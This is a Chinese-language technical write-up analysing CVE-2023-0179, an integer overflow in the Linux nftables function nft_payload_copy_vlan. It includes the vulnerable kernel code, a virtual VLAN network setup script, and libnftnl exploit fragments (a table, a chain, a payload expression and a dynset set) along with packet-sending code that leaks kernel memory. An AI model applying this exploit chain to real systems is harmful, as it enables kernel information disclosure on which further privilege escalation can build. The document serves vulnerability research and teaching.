CVE-2023-0179-Nftables整型溢出

前言

Netfilter是一个用于Linux操作系统的网络数据包过滤框架，它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式，以实现网络安全、网络地址转换（Network Address Translation，NAT）、数据包过滤等功能。

漏洞成因

漏洞发生在nft_payload_copy_vlan函数内部，由于计算拷贝的VLAN帧的头部的长度时存在整型溢出，导致了拷贝超出头部长度的数据。

代码细节如下：

nft_payload_copy_vlan

#define VLAN_HLEN 4  /* The additional bytes required by VLAN
                     * (in addition to the Ethernet header)
                     */
#define VLAN_ETH_HLEN 18  /* Total octets in header.  */


/*
* d表示目的寄存器
* skb通常是网络协议栈的缓存区
* offset为数据包的偏移量
* len为拷贝的长度
*/
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
    int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移
    u8 *vlanh, *dst_u8 = (u8 *) d; 
    struct vlan_ethhdr veth;
    u8 vlan_hlen = 0;
    
    /*
        IEEE 8021Q协议是对标准的以太网帧进行修改，加入了VLAN tag
        IEEE 8021AD协议则是加入双重VLAN tag，一个用于内网，一个用于外网
    */
    if ((skb->protocol == htons(ETH_P_8021AD) ||
         skb->protocol == htons(ETH_P_8021Q)) &&
        offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
        vlan_hlen += VLAN_HLEN;

    vlanh = (u8 *) &veth;
    if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4
        u8 ethlen = len; //拷贝的长度

        if (vlan_hlen &&
            skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
            return false;
        else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
            return false;

        if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
            ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
            //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);
            //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;
            //ethlen = VLAN_ETH_HELN - vlan_hlen - offset
            //ethlen = 14 - offset
            //如果offset > 14 则会造成 ethlen溢出
            

        memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部，但是如果ethlen发生了溢出则会拷贝多余的字节

        len -= ethlen;
        if (len == 0)
            return true;

        dst_u8 += ethlen;
        offset = ETH_HLEN + vlan_hlen;
    } else {
        offset -= VLAN_HLEN + vlan_hlen;
    }

    return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}

该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储，函数开始会对数据包的协议进行校验，若是为IEEE 8021Q或IEEE 8021AD协议则说明以太网帧中增加了VLAN TAG，那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度，因此会进行一个长度的校验，若偏移加长度超过了VLAN帧的头部长度时，就需要对拷贝长度进行一个校准，防止拷贝过多的数据，但是这个校验有问题，通过上述推导的公式可以发现，当offset大于14且小于22并且offset+len的值大于22时，ethlen就会发生溢出，这是因为ethlen本身为无符号整型，当得到结果为负数时，会导致ethlen变成非常大。

这里有一个需要注意的点，在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen。

那么当offset = 19而len = 4时，则offset + len = 23 > 22，因此会进入if语句内部，接着ethlen = 14 - 19 = -5(发生溢出)

环境搭建

这里采用的是qemu + linux6.16内核进行环境的搭建。作者创建虚拟网络设备的脚本如下

https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh

#!/bin/sh

# create the peer virtual device
ip link add eth0 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth0 up
ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan id 10
ip addr add 192.168.147.137/24 dev vlan.10
ip link set vlan.5 up
ip link set vlan.10 up
ip link set lo up
# create a bridge to enable hooks
ip link add name br0 type bridge
ip link set dev br0 up
ip link set eth0 master br0
ip addr add 192.168.157.137/24 dev br0

可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备，例如虚拟设备对，vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程，需要数据包在vlan上进行传输才可以。代码如下所示：

void nft_payload_eval(const struct nft_expr *expr,
              struct nft_regs *regs,
              const struct nft_pktinfo *pkt)
{
    const struct nft_payload *priv = nft_expr_priv(expr);
    const struct sk_buff *skb = pkt->skb;
    u32 *dest = &regs->data[priv->dreg];
    int offset;

    if (priv->len % NFT_REG32_SIZE)
        dest[priv->len / NFT_REG32_SIZE] = 0;

    switch (priv->base) {
    case NFT_PAYLOAD_LL_HEADER: //数据链路层
        if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头
            goto err;

        if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志
            if (!nft_payload_copy_vlan(dest, skb,
                           priv->offset, priv->len))
                goto err;
            return;
        }
        offset = skb_mac_header(skb) - skb->data;
        break;
...

因此为了使得程序进入漏洞函数，需要建设特定的网络环境。而该网络拓扑与Docker的很像，具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下，使用虚拟设备对的作用时，一端接口作为数据的输入而另一端接口作为数据的流出，那么后续进行`hook`的时候只需要`hook`一个点就行，设置`vlan`接口是因为只有`vlan`的数据包才能够进入`nft_payload_copy_vlan`函数的流程内，而在`vlan.5`上再次创建一个`vlan`接口是因为使得数据包能够加入双层`vlan tag，这样可以通过IEEE 8021AD`协议传输。

但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q，在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现，可以指定`vlan`的类型为`IEEE 8021AD`，因此修改了一下脚本。

#!/bin/sh

# create the peer virtual device
ip link add eth32 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth32 up
#ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan  protocol  802.1ad  id 10 
#ip addr add 192.168.147.137/24 dev vlan.5
ip link set vlan.5 up
ip link set lo up
ip link set vlan.10 up

指定协议之后，数据包的协议也被为IEEE 8021AD了

至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan、bridge以及IEEE 8021Q，因此需要开启这些模块，否则在创建设备时会出现unknow的错误。

漏洞验证

可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置

nftables需要设置table -> chain -> rule -> expr，由于我们需要捕获在虚拟设备对上的数据包，因此可以设置协议类型为NFPROTO_NETDEV，该协议类型是处理来自入口的数据包并且配合ingress的HOOK点以及chain可以指定HOOK点在具体的设备上，那么配合我们搭建的网络设备环境，可以指定HOOK点为以太网口(eth32)。

...
    if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL))
    {
        perror("[-] create table");
        exit(-1);
    }
    
    /* 2. create chain */
    printf("[2] create chain\n");
    struct unft_base_chain_param up;
    up.hook_num = NF_NETDEV_INGRESS;
    up.prio = INT_MIN;
    if (create_chain(nl, table_name, chain_name,  NFPROTO_NETDEV, &up, &seq, NULL, dev_name))
    {
        perror("[-] create chain");
        exit(-1);
    }
...

然后再设置payload的表达式触发漏洞，我们将offset设置为19，len设置为5

rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);

可以看到我们成功将ethlen的值设置为了251的值，该值是远远超出了以太网帧头部的长度了。

可以看到寄存器中的值中除了以太网帧头部的数据，还有一些额外的数据了。

为了将这些数据打印出来，则需要利用nftables中自带的set（集合），集合实际是一组数据，例如我们需要过滤几个ip地址，就能将这些ip地址作为一个集合作为过滤的名单，而集合中有一种属性是map即以键值对的形式存储值，而这些值实际是可以通过寄存器进行添加的，那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下：

//创建集合
struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
{
    struct nftnl_set *s = NULL;
    
    s = nftnl_set_alloc();
    
    if (s == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }
    
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);
    /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We
     * should place these datatypes in a public header so third party
     * applications still work with nftables.
     */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据
    nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);
    nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据
    nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP);  //以map存储数据

    return s;
}

在创建完集合后，往集合里面添加数据是通过表达式完成的，而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理，添加表达式代码如下：

void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
{
    struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
    nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值
    nftnl_rule_add_expr(r, expr);
}

这里需要注意的是，我们指定了捕获数据包的网口，因此数据包需要途径该网口才能够捕获数据包，下面是作者使用的数据包发送的代码，首先是绑定发送数据包的端口为vlan.10，由于vlan.10是在vlan.5上创建的，因此从vlan.10出去的数据包会被打上双层vlan tag，并且vlan.5是在host-enps32上创建的，而host-enps32又是与eth32构成虚拟设备对，因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部，触发漏洞。

int send_packet() 
{
    int sockfd;
    struct sockaddr_in addr;
    char buffer[] = "This is a test message";
    char *interface_name = "vlan.10";  // double-tagged packet
    int interface_index;
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));

    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sockfd < 0) {
        perror("[-] Error creating socket");
        return 1;
    }
 
    // Set the SO_BINDTODEVICE socket option
    if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
        perror("[-] Error setting SO_BINDTODEVICE socket option");
        return 1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("192.168.123.123");  // random destination
    addr.sin_port = htons(1337); 
    
    // Send the UDP packet
    if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        perror("[-] Error sending UDP packet");
        return 1;
    }

    close(sockfd);
    return 0;
}

可以看到最终完成了内核信息的泄露。